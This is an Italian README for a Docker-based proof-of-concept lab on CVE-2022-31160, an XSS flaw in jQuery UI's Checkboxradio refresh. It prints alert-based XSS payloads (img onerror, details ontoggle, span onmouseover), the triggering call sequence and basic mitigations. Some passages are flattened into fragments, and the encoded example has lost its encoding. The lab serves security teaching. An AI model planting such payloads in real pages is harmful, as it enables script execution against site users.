
jquery XSS Proof of Concept (PoC)
Questo progetto dimostra la vulnerabilità del widget Checkboxradio di jQuery UI (CVE-2022-31160), che consente la decodifica di entità HTML durante le operazioni di refresh del widget, portando potenzialmente ad attacchi Cross-Site Scripting (XSS).
⚠️ Questo progetto contiene payload XSS funzionanti esclusivamente per scopi educativi e di ricerca.
Quando un widget checkboxradio viene inizializzato su un input racchiuso in un'etichetta (label), chiamare .checkboxradio("refresh") sul widget provoca la decodifica erronea delle entità HTML presenti nel contenuto dell'etichetta. Questo può convertire contenuti dannosi codificati in modo sicuro in JavaScript eseguibile.
<!-- Contenuto sicuro codificato -->
<label for="checkbox">
Testo <img src=x onerror="alert('XSS')">
<input type="checkbox" id="checkbox">
</label>
<!-- Dopo .checkboxradio("refresh") -->
<label for="checkbox">
Testo
<input type="checkbox" id="checkbox">
</label>
# Clonare o spostarsi nella directory del progetto
cd jquery-cve-2022-31160
# Costruire l'immagine Docker
docker build -t jquery-cve-2022-31160 .
# Avviare il container
docker run -p 3000:3000 jquery-cve-2022-31160
Una volta che il container è in esecuzione, accedere a:
jquery-cve-2022-31160/
├── README.md # Questa documentazione
├── Dockerfile # Configurazione del container Docker
├── package.json # Dipendenze Node.js
├── server.js # Server Express.js
└── simplified-survey.html # Dimostrazione stile sondaggio
simplified-survey.html)Caratteristiche:
<img src=x onerror="..."> - Esecuzione immediata<details ontoggle="..." open> - Esecuzione immediata<span onmouseover="..."> - Esecuzione interattivaStrumenti di analisi:
.checkboxradio("refresh")// Operazione vulnerabile
$('#checkbox-vulnerabile').checkboxradio();
$('#checkbox-vulnerabile').checkboxradio("refresh"); // Attiva la vulnerabilità
Le dimostrazioni includono vari payload per testare diversi metodi di esecuzione XSS:
<!-- Sicurezza di rete: XSS tramite evento errore (esecuzione immediata) -->
<img src=x onerror="console.log('XSS tramite refresh widget!'); alert('XSS eseguito tramite refresh widget!');">
<!-- Sicurezza mobile: XSS tramite toggle dettagli (esecuzione immediata) -->
<details ontoggle="alert('XSS per sicurezza mobile eseguito!'); console.log('XSS mobile tramite ontoggle!')" open><summary></summary></details>
<!-- Sicurezza cloud: XSS interattivo (richiede interazione utente) -->
<span onmouseover="alert('XSS al passaggio del mouse eseguito!'); console.log('XSS per sicurezza cloud tramite mouseover!')" style="text-decoration:underline; cursor:pointer;">[Passa il mouse per attivare]</span>
onerror)src=x)ontoggle)open)onmouseover)Vantaggi dei gestori di eventi:
innerHTML<script>ontoggle) sono molto affidabiliBypass della codifica:
<, ") vengono decodificate dal refresh di jQuery UIdocker build -t jquery-cve-2022-31160 .
# Eseguire sulla porta predefinita 3000
docker run -p 3000:3000 jquery-cve-2022-31160
# Eseguire su una porta personalizzata
docker run -p 8080:3000 jquery-cve-2022-31160
# Eseguire in background
docker run -d -p 3000:3000 jquery-cve-2022-31160
# Eseguire con un nome personalizzato
docker run --name jquery-xss-demo -p 3000:3000 jquery-cve-2022-31160
# Elencare i container in esecuzione
docker ps
# Fermare il container
docker stop jquery-cve-2022-31160
# Rimuovere il container
docker rm jquery-cve-2022-31160
# Rimuovere l'immagine
docker rmi jquery-cve-2022-31160
Questa vulnerabilità può essere sfruttata in applicazioni che:
.checkboxradio("refresh")// Prima del refresh, sanificare o validare il contenuto
function safeRefresh(element) {
// Validare il contenuto dell'etichetta prima del refresh
const label = $(`label[for="${element.attr('id')}"]`);
const content = label.html();
// Verificare la presenza di contenuti potenzialmente pericolosi
if (content.includes('<') || content.includes('javascript:')) {
console.warn('Rilevato contenuto potenzialmente pericoloso');
return;
}
element.checkboxradio("refresh");
}
// Intestazioni di sicurezza per Express.js
app.use((req, res, next) => {
res.setHeader('X-Content-Type-Options', 'nosniff');
res.setHeader('X-Frame-Options', 'DENY');
res.setHeader('X-XSS-Protection', '1; mode=block');
res.setHeader('Content-Security-Policy', "default-src 'self'");
next();
});
Questo progetto funge da risorsa educativa per:
Quando si utilizza questa dimostrazione:
I contributi sono benvenuti! Si prega di:
Questo software è fornito esclusivamente per scopi educativi e di ricerca. Gli autori e i collaboratori:
Questo progetto è fornito sotto la licenza MIT per scopi educativi.
Creato per la ricerca e la formazione sulla sicurezza | Utilizzare con responsabilità | Segnalare vulnerabilità attraverso i canali appropriati